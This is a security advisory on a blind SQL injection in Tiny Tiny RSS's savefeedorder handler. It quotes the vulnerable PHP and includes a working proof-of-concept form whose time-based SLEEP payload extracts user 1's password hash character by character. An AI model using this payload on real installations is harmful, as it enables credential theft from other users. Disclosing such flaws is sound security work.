Tiny Tiny RSS Blind SQL Injection

Homepage:

http://tt-rss.org/

CVSS Score

4

CVSS Vector

(AV:N/AC:L/Au:S/C:P/I:N/A:N)

Description:

$item_id inside process_category_order() is not properly escaped. Then it’s used in UPDATE statement.

File: Tiny-Tiny-RSS\classes\pref\feeds.php

private function process_category_order(&$data_map, $item_id, $parent_id = false, $nest_level = 0) {
	$debug = isset($_REQUEST["debug"]);

	$prefix = "";
	for ($i = 0; $i < $nest_level; $i++)
		$prefix .= "   ";

	if ($debug) _debug("$prefix C: $item_id P: $parent_id");

	$bare_item_id = substr($item_id, strpos($item_id, ':')+1);

	if ($item_id != 'root') {
		if ($parent_id && $parent_id != 'root') {
			$parent_bare_id = substr($parent_id, strpos($parent_id, ':')+1);
			$parent_qpart = $this->dbh->escape_string($parent_bare_id);
		} else {
			$parent_qpart = 'NULL';
		}

		$this->dbh->query("UPDATE ttrss_feed_categories
			SET parent_cat = $parent_qpart WHERE id = '$bare_item_id' AND
			owner_uid = " . $_SESSION["uid"]);
	}

	$order_id = 0;

	$cat = $data_map[$item_id];

	if ($cat && is_array($cat)) {
		foreach ($cat as $item) {
			$id = $item['_reference'];
			$bare_id = substr($id, strpos($id, ':')+1);

			if ($debug) _debug("$prefix [$order_id] $id/$bare_id");

			if ($item['_reference']) {

				if (strpos($id, "FEED") === 0) {

					$cat_id = ($item_id != "root") ?
						$this->dbh->escape_string($bare_item_id) : "NULL";

					$cat_qpart = ($cat_id != 0) ? "cat_id = '$cat_id'" :
						"cat_id = NULL";

					$this->dbh->query("UPDATE ttrss_feeds
						SET order_id = $order_id, $cat_qpart
						WHERE id = '$bare_id' AND
							owner_uid = " . $_SESSION["uid"]);

				} else if (strpos($id, "CAT:") === 0) {
					$this->process_category_order($data_map, $item['_reference'], $item_id,
						$nest_level+1);

					if ($item_id != 'root') {
						$parent_qpart = $this->dbh->escape_string($bare_id);
					} else {
						$parent_qpart = 'NULL';
					}

					$this->dbh->query("UPDATE ttrss_feed_categories
							SET order_id = '$order_id' WHERE id = '$bare_id' AND
							owner_uid = " . $_SESSION["uid"]);
				}
			}

			++$order_id;
		}
	}
}

We control this value because of $_POST['payload'].

File: Tiny-Tiny-RSS\classes\pref\feeds.php

function savefeedorder() {
	$data = json_decode($_POST['payload'], true);

	if (!is_array($data['items']))
		$data['items'] = json_decode($data['items'], true);

	if (is_array($data) && is_array($data['items'])) {
		$data_map = array();
		$root_item = false;

		foreach ($data['items'] as $item) {
			if (is_array($item['items'])) {
				if (isset($item['items']['_reference'])) {
					$data_map[$item['id']] = array($item['items']);
				} else {
					$data_map[$item['id']] =& $item['items'];
				}
			}
			if ($item['id'] == 'root') {
				$root_item = $item['id'];
			}
		}

		$this->process_category_order($data_map, $root_item);
	}
}

We must pass items array with id=root and store our payload in _reference after CAT: string.

Proof of Concept:

Login as regular user.

<form method="post" action="http://tiny-tiny-rss/backend.php">
    <input type="hidden" name="op" value="pref-feeds">
    <input type="hidden" name="method" value="savefeedorder">
    <textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}</textarea>
    <input type="submit" value="Hack!">
</form>

This SQL will check if first password character user ID=1 is “M”.

If yes, it will sleep 5 seconds.

Timeline: